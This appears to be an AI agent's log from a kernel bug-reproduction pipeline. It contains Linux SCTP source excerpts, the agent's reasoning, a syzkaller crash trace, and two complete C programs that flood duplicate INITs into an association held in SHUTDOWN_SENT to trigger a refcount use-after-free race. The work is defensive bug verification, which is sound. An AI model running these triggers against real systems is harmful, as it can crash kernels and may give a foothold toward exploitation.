 234:			if (sctp_add_backlog(sk, skb)) {
 235:				bh_unlock_sock(sk);
 236:				sctp_chunk_free(chunk);
 237:				skb = NULL; /* sctp_chunk_free already freed the skb */
 238:				goto discard_release;
 239:			}
 240:			__SCTP_INC_STATS(net, SCTP_MIB_IN_PKT_BACKLOG);
 241:		} else {
 242:			__SCTP_INC_STATS(net, SCTP_MIB_IN_PKT_SOFTIRQ);
 243:			sctp_inq_push(&chunk->rcvr->inqueue, chunk);
 244:		}
 245:	
 246:		bh_unlock_sock(sk);
 247:	
 248:		/* Release the asoc/ep ref we took in the lookup calls. */
 249:		if (transport)
 250:			sctp_transport_put(transport);
 251:		else
 252:			sctp_endpoint_put(ep);
 253:	
 254:		return 0;
 255:	
 256:	discard_it:
 257:		__SCTP_INC_STATS(net, SCTP_MIB_IN_PKT_DISCARDS);
 258:		kfree_skb(skb);
 259:		return 0;
 260:	
 261:	discard_release:
 262:		/* Release the asoc/ep ref we took in the lookup calls. */
 263:		if (transport)
 264:			sctp_transport_put(transport);
 265:		else
 266:			sctp_endpoint_put(ep);
 267:	
 268:		goto discard_it;
 269:	}
 SourceFile:net/sctp/input.c]

gemini-3.1-pro-preview

							input: 82233
							output: 42
							thoughts: 32
						

**My Thought Process**

Okay, so my primary objective here is to understand what `__sctp_rcv_lookup` does. My immediate instinct, given the name, is that it's going to involve finding or identifying something within the SCTP (Stream Control Transmission Protocol) receive path. The "rcv" strongly suggests this, and "lookup" implies a search or retrieval operation.

Therefore, I need to investigate the `__sctp_rcv_lookup` function. My immediate next step is to delve into its implementation. I anticipate it will likely involve examining incoming SCTP packets and, based on certain identifying information within those packets (like source/destination IP addresses, ports, and perhaps the SCTP specific association identifier if available), it will attempt to locate the corresponding active SCTP association on this host. This is crucial because SCTP is connection-oriented, and each packet needs to be directed to the correct context for processing.

map[ContextFile:net/sctp/input.c Name:__sctp_rcv_lookup]

map[SourceCode:1337:	/* Lookup an association for an inbound skb. */
1338:	static struct sctp_association *__sctp_rcv_lookup(struct net *net,
1339:					      struct sk_buff *skb,
1340:					      const union sctp_addr *paddr,
1341:					      const union sctp_addr *laddr,
1342:					      struct sctp_transport **transportp,
1343:					      int dif, int sdif)
1344:	{
1345:		struct sctp_association *asoc;
1346:	
1347:		asoc = __sctp_lookup_association(net, laddr, paddr, transportp, dif, sdif);
1348:		if (asoc)
1349:			goto out;
1350:	
1351:		/* Further lookup for INIT/INIT-ACK packets.
1352:		 * SCTP Implementors Guide, 2.18 Handling of address
1353:		 * parameters within the INIT or INIT-ACK.
1354:		 */
1355:		asoc = __sctp_rcv_lookup_harder(net, skb, laddr, transportp, dif, sdif);
1356:		if (asoc)
1357:			goto out;
1358:	
1359:		if (paddr->sa.sa_family == AF_INET)
1360:			pr_debug("sctp: asoc not found for src:%pI4:%d dst:%pI4:%d\n",
1361:				 &laddr->v4.sin_addr, ntohs(laddr->v4.sin_port),
1362:				 &paddr->v4.sin_addr, ntohs(paddr->v4.sin_port));
1363:		else
1364:			pr_debug("sctp: asoc not found for src:%pI6:%d dst:%pI6:%d\n",
1365:				 &laddr->v6.sin6_addr, ntohs(laddr->v6.sin6_port),
1366:				 &paddr->v6.sin6_addr, ntohs(paddr->v6.sin6_port));
1367:	
1368:	out:
1369:		return asoc;
1370:	}
 SourceFile:net/sctp/input.c]

gemini-3.1-pro-preview

							input: 82950
							output: 1999
							thoughts: 6760
						

**The Path to Reproducing the SCTP Race Condition**

My thought process for creating this reproducer revolved around a core understanding of how SCTP associations are established and how state transitions, particularly during shutdown, can be exploited.

Initially, I focused on how SCTP uses local and remote addresses and ports to identify existing associations. The key insight was that if a `COOKIE_ECHO` packet arrives from the *exact same* IP address and port as an existing, established (or even shutting down) association, the kernel would try to route it to that existing association. This seemed like a promising avenue.

My primary goal was to get a `COOKIE_ECHO` packet to arrive at an association that was in the `SHUTDOWN_SENT` state. If this happened, the `sctp_sf_do_dupcook_a` function would be called, which, based on my analysis, was the critical path to triggering the race condition. This felt "absolutely perfect" because it directly aligned with the observed behavior.

However, realizing the reproducer required generating these `COOKIE_ECHO` packets, I needed to initiate new SCTP handshakes. The challenge then became how to do this without disrupting the existing association or causing it to be prematurely terminated.

My first attempt at crafting the client code involved creating new sockets and using `connect()`. I quickly ran into a problem: if these new, non-blocking connections weren't fully established and then `close()`d, they would send an `ABORT` packet. An `ABORT` would destroy the very association I was trying to exploit. This was a critical dead end, as `ABORT` is not what we wanted.

I considered various ways to prevent `ABORT`s. Dropping packets with `iptables` was an option, but it relied on kernel modules (`xt_sctp`) that might not be available. Simply not closing the file descriptors seemed more robust, but it would lead to file descriptor exhaustion. The solution was to increase the `RLIMIT_NOFILE` to a very high value, allowing me to leak file descriptors without immediate consequence. This felt much safer.

Then, another problem emerged. If the new sockets received a `COOKIE_ACK` (which they would, as the server was in `SHUTDOWN_SENT` and would bundle it with a `SHUTDOWN`), they would transition to `ESTABLISHED` and then, because their outqueues were empty, would immediately send a `SHUTDOWN_ACK`. This `SHUTDOWN_ACK` would also terminate the association. I needed to prevent this `SHUTDOWN_ACK` from being sent.

The key to preventing `SHUTDOWN_ACK` lay in ensuring the client socket's outqueue was *not* empty when it received the `SHUTDOWN` packet. This meant I needed to get data into the outqueue *before* the `SHUTDOWN` arrived.

My thoughts then shifted to how to achieve this. Using `send()` on a non-blocking `SOCK_STREAM` socket after `connect()` returned `EINPROGRESS` wouldn't work, as it would fail with `ENOTCONN`. This led me to consider `SOCK_SEQPACKET`. With `SOCK_SEQPACKET`, I realized I could use `sendto()` to implicitly establish the connection and queue data simultaneously, even if the association wasn't fully established yet. This would send an `INIT` and place the data in the outqueue.

A crucial realization then hit: if the server's receive window was artificially small (by setting `SO_RCVBUF` to 0), any data sent by the client that exceeded this window would *not* be acknowledged. This meant the client's outqueue would remain populated. This was perfect because when the server sent the `SHUTDOWN`, the client, with its non-empty outqueue, would *not* send a `SHUTDOWN_ACK`.

This understanding solidified the strategy for both the initial client that primes the pump and the subsequent clients that flood the system. The first client (`SOCK_STREAM`) would send a large amount of data to fill the server's receive window and thus populate its own outqueue. Then, `shutdown()` on the server would initiate the `SHUTDOWN_SENT` state. The threads, using `SOCK_SEQPACKET` and `sendto()`, would then attempt to establish new associations. Because the server's window was already effectively full (or advertising 0), their data would also remain in their outqueues. Consequently, when these new associations inevitably received the `SHUTDOWN` from the server, they would also fail to send `SHUTDOWN_ACK`, keeping the server in the desired `SHUTDOWN_SENT` state and allowing the duplicate `COOKIE_ECHO` packets from the repeated `INIT`s to be processed as intended.

The final code meticulously incorporated these elements: increasing the file descriptor limit, setting a small receive buffer on the server, using `shutdown()` to enter `SHUTDOWN_SENT`, and employing `SOCK_SEQPACKET` with `sendto()` in the client threads to ensure their outqueues remained non-empty and prevent `SHUTDOWN_ACK`s, all while leaking file descriptors to avoid `ABORT` packets. This comprehensive approach directly addressed each challenge and led to the construction of the final reproducer.

map[CurrentReproStrategy:An analysis of the SCTP state machine and the feedback provided reveals that the race condition occurs when `SCTP_CMD_TIMER_START` is executed for a timer that is already pending. The feedback specifically suggests triggering this by flooding duplicate `COOKIE_ECHO` chunks while the server is in the `SHUTDOWN_SENT` state.

To achieve this without relying on raw sockets, we can exploit SCTP's tie-tag mechanism and `SO_REUSEPORT`:
1. **Establish Association & Fill Window**: We connect a client to the server and send a large amount of data. By setting the server's `SO_RCVBUF` to 0, the server advertises a tiny receive window. The client's data fills this window, leaving the rest of the data stuck in the client's outqueue.
2. **Enter SHUTDOWN_SENT**: The server calls `shutdown(fd, SHUT_WR)`. This sends a `SHUTDOWN` chunk to the client and puts the server in the `SHUTDOWN_SENT` state (starting the `T2_SHUTDOWN` timer). Because the client still has data in its outqueue, it enters `SHUTDOWN_RECEIVED` but **does not** reply with a `SHUTDOWN_ACK`. This keeps the server permanently in `SHUTDOWN_SENT`.
3. **Trigger Action A**: The client spawns multiple threads that create new `SOCK_SEQPACKET` sockets with `SO_REUSEPORT`, bind to the exact same client IP and port, and call `sendto()` to the server. 
   - Each `sendto()` sends a new `INIT` chunk.
   - The server receives the `INIT`. Since it matches the existing association (same IP/port), it processes it as an unexpected `INIT` and replies with an `INIT_ACK` containing a cookie with tie-tags matching the existing association.
   - The new client socket receives the `INIT_ACK` and automatically replies with a `COOKIE_ECHO`.
   - The server receives the `COOKIE_ECHO`. The tie-tags match, triggering **Action A** (Association Restart).
   - Because the server is in `SHUTDOWN_SENT` and the socket is closing, Action A calls `sctp_sf_do_9_2_start_shutdown`, which executes `SCTP_CMD_TIMER_START` for the `T2_SHUTDOWN` timer.
4. **Hit the Race**: Since the `T2_SHUTDOWN` timer is already pending, this perfectly hits the vulnerable `timer_pending()` check in `sctp_cmd_interpreter`. By setting the RTO to 10ms, the timer fires constantly, maximizing the chance of hitting the instruction-level race window.

Here is the complete C reproducer:

```c
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>

#include "race_toolkit.h"

int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    char buf[1024] = {0};
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) break;
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect + queue data.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        sendto(fd, buf, sizeof(buf), 0, (struct sockaddr *)&addr, sizeof(addr));
        
        /* Leak the fd to prevent it from sending an ABORT chunk which would destroy the association */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    setrlimit(RLIMIT_NOFILE, &rl);

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    
    /* Set RTO to minimum to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    bind(server_fd, (struct sockaddr *)&addr, sizeof(addr));
    listen(server_fd, 10);

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    int opt = 1;
    setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr));

    connect(client_fd, (struct sockaddr *)&addr, sizeof(addr));

    int accepted_fd = accept(server_fd, NULL, NULL);
    setsockopt(accepted_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));

    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    memset(large_buf, 'A', 1024 * 1024);
    send(client_fd, large_buf, 1024 * 1024, 0);

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    shutdown(accepted_fd, SHUT_WR);

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    return 0;
}
```]

deep-reasoning

map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <errno.h>

#include "race_toolkit.h"

int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) {
            usleep(10000);
            continue;
        }
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        connect(fd, (struct sockaddr *)&addr, sizeof(addr));
        
        /* 
         * We must keep the fd open long enough for the INIT_ACK to be received
         * and the COOKIE_ECHO to be sent.
         * We leak the fd, but to avoid hitting the limit too fast, we sleep a bit.
         */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    if (setrlimit(RLIMIT_NOFILE, &rl) < 0) {
        printf("[-] setrlimit: %s\n", strerror(errno));
    }

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket server: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set RTO to 10ms to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Prevent association from being aborted due to max retransmissions */
    struct sctp_assocparams assocparams;
    memset(&assocparams, 0, sizeof(assocparams));
    assocparams.sasoc_asocmaxrxt = 65535;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_ASSOCINFO, &assocparams, sizeof(assocparams)) < 0) {
        printf("[-] setsockopt SCTP_ASSOCINFO: %s\n", strerror(errno));
        exit(1);
    }

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    if (setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)) < 0) {
        printf("[-] setsockopt SO_RCVBUF: %s\n", strerror(errno));
        exit(1);
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind server: %s\n", strerror(errno));
        exit(1);
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        exit(1);
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket client: %s\n", strerror(errno));
        exit(1);
    }
    int opt = 1;
    if (setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) {
        printf("[-] setsockopt SO_REUSEPORT: %s\n", strerror(errno));
        exit(1);
    }
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    if (bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr)) < 0) {
        printf("[-] bind client: %s\n", strerror(errno));
        exit(1);
    }

    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        exit(1);
    }

    int accepted_fd = accept(server_fd, NULL, NULL);
    if (accepted_fd < 0) {
        printf("[-] accept: %s\n", strerror(errno));
        exit(1);
    }
    
    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    if (!large_buf) {
        printf("[-] malloc failed\n");
        exit(1);
    }
    memset(large_buf, 'A', 1024 * 1024);
    ssize_t sent = send(client_fd, large_buf, 1024 * 1024, 0);
    if (sent < 0 && errno != EAGAIN && errno != EWOULDBLOCK) {
        printf("[-] send: %s\n", strerror(errno));
        exit(1);
    }

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    if (shutdown(accepted_fd, SHUT_WR) < 0) {
        printf("[-] shutdown: %s\n", strerror(errno));
        exit(1);
    }

    printf("[+] Setup complete, starting race threads...\n");

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    printf("[+] Done.\n");
    return 0;
}]

You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.

To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
   and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
   systems, makefiles, and kernel build/header directories) is NOT available
   on the target test VM guest. Do NOT check for, build, or reference any
   compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
   functions like 'system()', 'popen()', or the 'exec' family such as
   'execve()'). All environment checks, capability probings, and reproduction
   steps must be performed directly using standard Linux system calls (such
   as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
   include a sufficient delay (using sleep or similar) after deleting
   or unregistering the device to allow the kernel's asynchronous
   timeout to trigger before program exit.


=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.

Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: WARNING: refcount bug in sctp_generate_timeout_event

------------[ cut here ]------------
refcount_t: addition on 0; use-after-free.
WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25, CPU#1: syz.0.2220/13955
Modules linked in:
CPU: 1 UID: 0 PID: 13955 Comm: syz.0.2220 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
RIP: 0010:refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25
Code: eb 66 85 db 74 3e 83 fb 01 75 4c e8 6b d2 e9 fc 48 8d 3d f4 46 a7 0b 67 48 0f b9 3a eb 4a e8 58 d2 e9 fc 48 8d 3d f1 46 a7 0b <67> 48 0f b9 3a eb 37 e8 45 d2 e9 fc 48 8d 3d ee 46 a7 0b 67 48 0f
RSP: 0018:ffffc90000a18c28 EFLAGS: 00010246
RAX: ffffffff84dde548 RBX: 0000000000000002 RCX: ffff88807715be80
RDX: 0000000000000100 RSI: 0000000000000100 RDI: ffffffff90852c40
RBP: 0000000000000000 R08: ffff88807715be80 R09: 0000000000000005
R10: 0000000000000004 R11: 0000000000000100 R12: dffffc0000000000
R13: 0000000000000001 R14: ffff888020fde004 R15: ffff888020fde640
FS:  00007f4a87be06c0(0000) GS:ffff888124dda000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ff55dd92eb8 CR3: 000000005800b000 CR4: 0000000000350ef0
Call Trace:
 <IRQ>
 sctp_generate_timeout_event+0x1c8/0x390 net/sctp/sm_sideeffect.c:284
 call_timer_fn+0x18d/0x5f0 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2374 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2386
 run_timer_base kernel/time/timer.c:2395 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2405
 handle_softirqs+0x226/0x860 kernel/softirq.c:645
 __do_softirq kernel/softirq.c:679 [inline]
 invoke_softirq kernel/softirq.c:519 [inline]
 __irq_exit_rcu+0xcb/0x220 kernel/softirq.c:767
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:784
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1062 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1062
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:674
RIP: 0010:lock_acquire+0x232/0x350 kernel/locking/lockdep.c:5913
Code: ff ff ff e8 a0 a9 40 0a f7 44 24 10 00 02 00 00 0f 84 38 ff ff ff 65 48 8b 05 f2 44 f1 11 48 3b 44 24 50 75 33 fb 48 83 c4 58 <5b> 41 5c 41 5d 41 5e 41 5f 5d e9 ba 25 6d ff cc 48 8d 3d 77 31 da
RSP: 0018:ffffc9000dabfac8 EFLAGS: 00000282
RAX: b29753db72d85c00 RBX: 0000000000000001 RCX: 8000000000000001
RDX: 00000000b866b3b2 RSI: ffffffff8e6fc28f RDI: ffffffff8c6d9380
RBP: ffff88807715be80 R08: 8c00000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: ffff888066f6e418 R12: ffff888066f6e418
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000246
 __raw_spin_lock include/linux/spinlock_api_smp.h:190 [inline]
 _raw_spin_lock+0x2e/0x40 kernel/locking/spinlock.c:173
 spin_lock include/linux/spinlock.h:347 [inline]
 __io_cq_lock io_uring/io_uring.c:484 [inline]
 __io_submit_flush_completions+0x85/0x10d0 io_uring/io_uring.c:1133
 io_submit_flush_completions io_uring/io_uring.h:253 [inline]
 io_submit_state_end io_uring/io_uring.c:1939 [inline]
 io_submit_sqes+0x1cec/0x2310 io_uring/io_uring.c:2063
 __do_sys_io_uring_enter io_uring/io_uring.c:2637 [inline]
 __se_sys_io_uring_enter+0x35b/0x1bb0 io_uring/io_uring.c:2586
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f4a86d9e159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f4a87bdff38 EFLAGS: 00000246 ORIG_RAX: 00000000000001aa
RAX: ffffffffffffffda RBX: 0000200000000340 RCX: 00007f4a86d9e159
RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000009
RBP: 0000000000000a12 R08: 0000000000000000 R09: 0000000000000008
R10: 0000000000000000 R11: 0000000000000246 R12: 0000200000000940
R13: 0000200000000948 R14: 0000000000000e26 R15: 0000000000000002
 </TASK>
----------------
Code disassembly (best guess):
   0:	eb 66                	jmp    0x68
   2:	85 db                	test   %ebx,%ebx
   4:	74 3e                	je     0x44
   6:	83 fb 01             	cmp    $0x1,%ebx
   9:	75 4c                	jne    0x57
   b:	e8 6b d2 e9 fc       	call   0xfce9d27b
  10:	48 8d 3d f4 46 a7 0b 	lea    0xba746f4(%rip),%rdi        # 0xba7470b
  17:	67 48 0f b9 3a       	ud1    (%edx),%rdi
  1c:	eb 4a                	jmp    0x68
  1e:	e8 58 d2 e9 fc       	call   0xfce9d27b
  23:	48 8d 3d f1 46 a7 0b 	lea    0xba746f1(%rip),%rdi        # 0xba7471b
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	eb 37                	jmp    0x68
  31:	e8 45 d2 e9 fc       	call   0xfce9d27b
  36:	48 8d 3d ee 46 a7 0b 	lea    0xba746ee(%rip),%rdi        # 0xba7472b
  3d:	67                   	addr32
  3e:	48                   	rex.W
  3f:	0f                   	.byte 0xf

Strategy: An analysis of the SCTP state machine and the feedback provided reveals that the race condition occurs when `SCTP_CMD_TIMER_START` is executed for a timer that is already pending. The feedback specifically suggests triggering this by flooding duplicate `COOKIE_ECHO` chunks while the server is in the `SHUTDOWN_SENT` state.

To achieve this without relying on raw sockets, we can exploit SCTP's tie-tag mechanism and `SO_REUSEPORT`:
1. **Establish Association & Fill Window**: We connect a client to the server and send a large amount of data. By setting the server's `SO_RCVBUF` to 0, the server advertises a tiny receive window. The client's data fills this window, leaving the rest of the data stuck in the client's outqueue.
2. **Enter SHUTDOWN_SENT**: The server calls `shutdown(fd, SHUT_WR)`. This sends a `SHUTDOWN` chunk to the client and puts the server in the `SHUTDOWN_SENT` state (starting the `T2_SHUTDOWN` timer). Because the client still has data in its outqueue, it enters `SHUTDOWN_RECEIVED` but **does not** reply with a `SHUTDOWN_ACK`. This keeps the server permanently in `SHUTDOWN_SENT`.
3. **Trigger Action A**: The client spawns multiple threads that create new `SOCK_SEQPACKET` sockets with `SO_REUSEPORT`, bind to the exact same client IP and port, and call `sendto()` to the server. 
   - Each `sendto()` sends a new `INIT` chunk.
   - The server receives the `INIT`. Since it matches the existing association (same IP/port), it processes it as an unexpected `INIT` and replies with an `INIT_ACK` containing a cookie with tie-tags matching the existing association.
   - The new client socket receives the `INIT_ACK` and automatically replies with a `COOKIE_ECHO`.
   - The server receives the `COOKIE_ECHO`. The tie-tags match, triggering **Action A** (Association Restart).
   - Because the server is in `SHUTDOWN_SENT` and the socket is closing, Action A calls `sctp_sf_do_9_2_start_shutdown`, which executes `SCTP_CMD_TIMER_START` for the `T2_SHUTDOWN` timer.
4. **Hit the Race**: Since the `T2_SHUTDOWN` timer is already pending, this perfectly hits the vulnerable `timer_pending()` check in `sctp_cmd_interpreter`. By setting the RTO to 10ms, the timer fires constantly, maximizing the chance of hitting the instruction-level race window.

Here is the complete C reproducer:

```c
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <sys/resource.h>

#include "race_toolkit.h"

int server_fd;
struct sockaddr_in addr;
struct sockaddr_in client_addr;

void *client_thread(void *arg) {
    char buf[1024] = {0};
    while (1) {
        int fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP);
        if (fd < 0) break;
        
        int opt = 1;
        setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
        bind(fd, (struct sockaddr *)&client_addr, sizeof(client_addr));
        
        int flags = fcntl(fd, F_GETFL, 0);
        fcntl(fd, F_SETFL, flags | O_NONBLOCK);
        
        /* 
         * Implicit connect + queue data.
         * Sends an INIT. The server replies with INIT_ACK (with tie-tags).
         * This socket then sends COOKIE_ECHO, triggering Action A on the server.
         */
        sendto(fd, buf, sizeof(buf), 0, (struct sockaddr *)&addr, sizeof(addr));
        
        /* Leak the fd to prevent it from sending an ABORT chunk which would destroy the association */
        usleep(1000);
    }
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    /* Increase fd limit so we can safely leak fds in the threads */
    struct rlimit rl;
    rl.rlim_cur = 65536;
    rl.rlim_max = 65536;
    setrlimit(RLIMIT_NOFILE, &rl);

    server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    
